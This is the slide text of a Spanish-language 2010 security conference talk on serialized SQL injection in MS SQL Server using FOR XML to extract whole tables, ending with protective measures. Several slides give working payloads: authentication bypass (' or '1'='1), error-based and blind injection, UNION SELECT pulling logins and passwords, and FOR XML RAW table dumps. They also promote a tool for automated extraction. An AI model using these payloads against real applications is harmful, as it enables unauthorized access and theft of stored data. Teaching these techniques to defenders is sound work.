POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
 

Asegúr@IT 7: Serialized SQL Injection

  • 1. SFX-SQLiSelect For Xml SQLinjection / Serialized SQL injectionExtracción rápida de información utilizando inyección SQL con instrucciones XML Daniel Kachakil Asegur@IT 7 24/03/2010 – Barcelona
  • 2. Contenido ¿Qué es la inyección SQL? Técnicas de inyección SQL clásicas Serialización y la cláusula FOR XML Obtención de columnas y tipos Ajuste de la inyección Ejemplos y demos 2
  • 4. ¿Qué es la inyección SQL? Vulnerabilidad de aplicaciones informáticas Su origen está en el filtrado incorrecto o inexistente de los parámetros de entrada a la BD Graves consecuencias: Cualquiera puede inyectar instrucciones SQL que terminan siendo ejecutadas por el motor de base de datos 4
  • 5. ¿Qué es la inyección SQL? 5 ASP/PHP/JSP/... <% cmd = "SELECT * FROM…" %> GET/ SGBD SQL POST Datos HTML Pero no es exclusiva de aplicaciones web
  • 6. Ataques a la seguridad Integridad: Borrado o corrupción de datos UPDATE, DELETE, INSERT, DROP, ... Disponibilidad: Denegación de servicio SHUTDOWN, consultas complejas, exploits, ... Confidencialidad: Acceso a datos privados Bypass de autenticación (' or '1'='1) A ciegas (Blind SQL injection) A través de mensajes de error Anexando otros conjuntos de datos 6
  • 7. Inyección SQL básica Usuario: ' or '1'='1 Contraseña: ' or '1'='1 "SELECT * FROMUsuarios WHERE nombre='" + usuario + "' AND pass='" + contraseña + "'" 7
  • 8. Inyección SQL básica "SELECT * FROMUsuarios WHERE nombre='' or '1'='1' AND pass='' or '1'='1'" La condición WHERE siempre es cierta Devuelve toda la tabla de usuarios El primer registro suele coincidir con el del administrador 8
  • 9. Inyección SQL a ciegas Booleanización: más eficiente con búsqueda binaria EXISTS (SELECT … WHERE n < 128)  V EXISTS (SELECT … WHERE n < 64)  V EXISTS (SELECT … WHERE n < 32)  F EXISTS (SELECT … WHERE n < 48)  V EXISTS (SELECT … WHERE n < 40)  F EXISTS (SELECT … WHERE n < 44)  F EXISTS (SELECT … WHERE n < 46)  F EXISTS (SELECT … WHERE n < 47)  V Conclusión: n=46 9
  • 11. Inyección SQL basada en errores "SELECT * FROMAcceso WHERE usuario='' having 1=1--' AND pass='x'" 11
  • 12. Inyección SQL basada en errores "SELECT * FROM Acceso WHERE usuario='' AND convert(int, system_user)>0--' AND pass='x'" 12
  • 13. Inyección SQL anexando datos "SELECTid, asunto, fecha FROMNotas WHEREyear(fecha)=2010UNIONSELECT 0, login+'/'+pass, nullFROMUsers" 13
  • 15. FOR XML (MS SQL Server 2005/2008) "SELECT * FROMNumeros" "SELECT * FROMNumerosFOR XML RAW" 15
  • 16. Anexando una tabla en un campo "SELECTasunto FROM Notas WHERE id=1 AND 1=0 UNIONSELECT(SELECT * FROMUsersFOR XML RAW)" 16
  • 17. Sintaxis de FOR XML FOR XML { { RAW [ ( 'ElementName' ) ] | AUTO } [ <CommonDirectives> [ , { XMLDATA | XMLSCHEMA [ ( 'TargetNameSpaceURI' ) ] } ] [ , ELEMENTS [ XSINIL | ABSENT ] ] | EXPLICIT … | PATH … }   <CommonDirectives> ::= [ , BINARY BASE64] [ , TYPE ] [ , ROOT [ ( 'RootName' ) ] ] 17
  • 19. GROUPBY / HAVING 1=1 HAVING 1=1 Error (cuyo texto revela el nombre de la primera columna) GROUPBYcolumna1HAVING 1=1 Error con el nombre de la segunda columna GROUPBYcolumna1, columna2HAVING 1=1 Error con el nombre de la tercera columna ... GROUPBYcolumna1, columna2, columna3, … , columnaNHAVING 1=1 Sin errores 19
  • 20. ORDERBY N ORDERBY 1 Sin errores ORDERBY 2 Sin errores ... ORDERBY N Sin errores ORDERBYN+1 Falla (Ante el primer fallo probar más valores por si se tratara de un campo no ordenable. Ej: de tipo binary/varbinary) 20
  • 21. UNIONNULL UNIONSELECTnullWHERE 0=1 Falla UNION SELECT null, null WHERE 0=1 Falla UNION SELECT null, null, null WHERE 0=1 Falla ... UNION SELECT null, null, null, null, … , null WHERE 0=1 Sin errores 21
  • 23. Obtención del tipo de datos Basta con encontrar una columna de tipo texto char, varchar, nvarchar, ... Si muestra errores: CAST(), CONVERT() En otro caso: UNIONSELECTnull, null, 'a', null, null, ... [WHERE 1=0] 23
  • 25. Extracción serializando datos … AND 1=0 UNION SELECT v1, v2, … , (SELECT * FROM Tabla FOR XML RAW, BINARY BASE64), … , vN 25
  • 27. SFX-SQLiTool 1.0 Capaz de extraer tablas completas con una sola petición Inyecciones GET y POST. SSL, cookies, proxy, etc Si las tablas son muy grandes, las puede segmentar Implementa todas las técnicas descritas antes Ayuda al descubrimiento de columnas y tipos Deshace la codificación HTML automáticamente Log de todo lo que inyecta y de las respuestas Visualización en explorador integrado y código fuente 27
  • 28. Novedades en SFX-SQLiTool 1.1 Acceso completo a otras bases de datos del mismo servidor a través de la master Ejecución de consultas personalizadas Ajustes de configuración avanzada Pequeñas mejoras y correcciones 28
  • 30. Medidas de protección Las de siempre: filtrar todas las entradas al gestor de bases de datos Forzando la conversión de tipos para entradas numéricas Filtrando o escapando los caracteres peligrosos para las cadenas de texto (comilla simple) Siempre hacerlo en el servidor en última instancia (no confiar en JavaScript, Flash, Silverlight, etc) 30
  • 31. Medidas de protección Utilizar los mecanismos de protección de la plataforma en la que estemos desarrollando Consultas SQL parametrizadas, filtros predefinidos, etc. Aplicar el principio de menor privilegio Limita las consecuencias ante un ataque exitoso No dar información detallada sobre los errores “Contraseña incorrecta para el usuario usuario” “Error al conectar con la base de datos mibasededatos” Response.Write(ex.ToString()) en bloques Try - Catch 31
  • 32. Descarga de la herramienta y más información en mi web: http://www.kachakil.com Daniel Kachakil dani@kachakil.com ¡Muchas gracias!